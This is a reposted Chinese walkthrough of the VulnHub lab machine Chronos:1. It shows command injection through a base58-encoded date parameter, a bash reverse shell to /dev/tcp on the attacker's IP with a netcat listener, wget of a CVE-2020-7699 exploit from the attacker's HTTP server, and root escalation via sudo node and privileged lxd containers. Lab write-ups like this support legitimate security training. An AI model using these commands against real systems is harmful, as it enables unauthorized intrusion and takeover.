3

vulnhub靶场之Chronos:1 - upfine

 1 year ago
source link: https://www.cnblogs.com/upfine/p/16928201.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

vulnhub靶场之Chronos:1

准备:

攻击机:虚拟机kali、本机win10。

靶机:Chronos,下载地址:https://download.vulnhub.com/chronos/Chronos.ova,下载后直接vbox打开即可。

知识点:lxd提权、node提权、dns解析、命令执行漏洞、base58解密、CVE-2020-7699漏洞。

2834847-20221127151415611-492326820.png

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.110.0/24,获得靶机地址:192.168.1.82。

2834847-20221126225835769-314468262.png

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.82,显示开放了22、80、8000端口,开启了ssh、http服务。

2834847-20221126230056274-295618147.png

使用dirmap、dirsearch进行目录扫描,均未发现有效的目录信息。

2834847-20221126230020502-954161189.png

DNS解析:

在检查:http://192.168.110.82/的源代码信息时,发现一个链接:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,观察到:chronos.local,就想到要进行dns解析。win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.110.82 chronos.local,但是访问还是显示被禁止。

2834847-20221126230943504-2034334913.png

bp抓包分析:

使用bp抓包访问:http://192.168.110.82/,发现在访问http://chronos.local:8000/date时,其User-Agent被修改成立Chronos,经验证这就是上面被禁止的原因。

2834847-20221126231232340-549300355.png

后面直接访问:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL进行抓包并修改User-Agent为:Chronos,可以正常访问。

2834847-20221126231428165-1201793090.png

命令执行:

传递的加密字符串疑是base64加密,但是经过base64、base32解密均失败,最后base58解密成功,解密后信息:'+Today is %A, %B %d, %Y %H:%M:%S.',根据解密后的信息猜测应该是执行的date命令。

2834847-20221126232147801-991836161.png

那我们利用&、;、|等符号来执行我们自己的命令,例如:;ls,base58加密后:Lxfc,获得当前目录信息

2834847-20221126233228823-867278487.png

获取shell:

利用命令执行漏洞获取shell权限,通过执行命令:bash -c 'bash -i >& /dev/tcp/192.168.110.234/6688 0>&1'来获取shell权限,base58加密后:2cH1gSRr9UAWvT31knR5Zo6eraKZs1x1qGWATRGhQphNCQp9QsUUjujayt3uEUnorRYYh5eBnppq4,在kali端开启对6688端口的监听:nc -lvvp 6688,成功获得shell权限。

2834847-20221126233641932-782085290.png
2834847-20221126233714565-514652892.png

提权至imera:

在当前用户目录下进行信息查找,经过一番查找在/opt/chronos-v2/backend目录下面发现靶机上开启了第二个服务并且该服务中疑是存在文件上传漏洞。

2834847-20221127000457065-984876604.png

在网上查找时发现该漏洞编号为:CVE-2020-7699,那就查找下该漏洞的exp,可以在:https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py或者https://blog.p6.is/Real-World-JS-1/等网站均可以。

2834847-20221127002910176-1630540300.png

将py代码下载复制下来保存到kali中,然后使用python开启http服务:python -m http.server,在把靶机中下载该文件,命令:wget http://192.168.110.234:8000/express-fileupload.py。

2834847-20221127002957234-147500916.png

在kali中开启对8899端口的监听:nc -nvlp 8899,然后在靶机中执行express-fileupload.py文件,命令:python3 express-fileupload.py,成功获得imera账户的shell权限,如果未获得权限多执行几次,测试两次均是执行 三次才获得imera的shell权限。

2834847-20221127004201365-162406604.png

在/home/imera账户下发现user.txt文件并读取flag信息。

2834847-20221127004331668-849304172.png

提权至root-node提权:

查看下当前账户是否存在可以使用的特权命令,sudo -l,显示存在npm命令和node命令。

2834847-20221127004645201-369425265.png

查找下node命令的提权方法,命令:sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})',即可获得root权限,然后在/root目录下发现root.txt文件并读取flag值。

2834847-20221127005316773-328941058.png
2834847-20221127005211125-1577567319.png

提权至root-lxd提权:

在获得imera账户权限的时候,我们发现该账户具有lxd权限,那也可以采用lxd提权方式进行提权。

2834847-20221127004201365-162406604.png

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://192.168.110.234:8000/lxd/alpine-v3.13-x86_64.tar.gz。然后在依次执行如下命令,即可成功获得root权限。

lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage  
lxd init   #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
2834847-20221127151012237-1783095184.png
2834847-20221127151204410-1929526770.png

获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。

2834847-20221127151324448-33825588.png

补充:

在使用npm进行提权时是提权失败的。

2834847-20221127005854106-1053444124.png

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK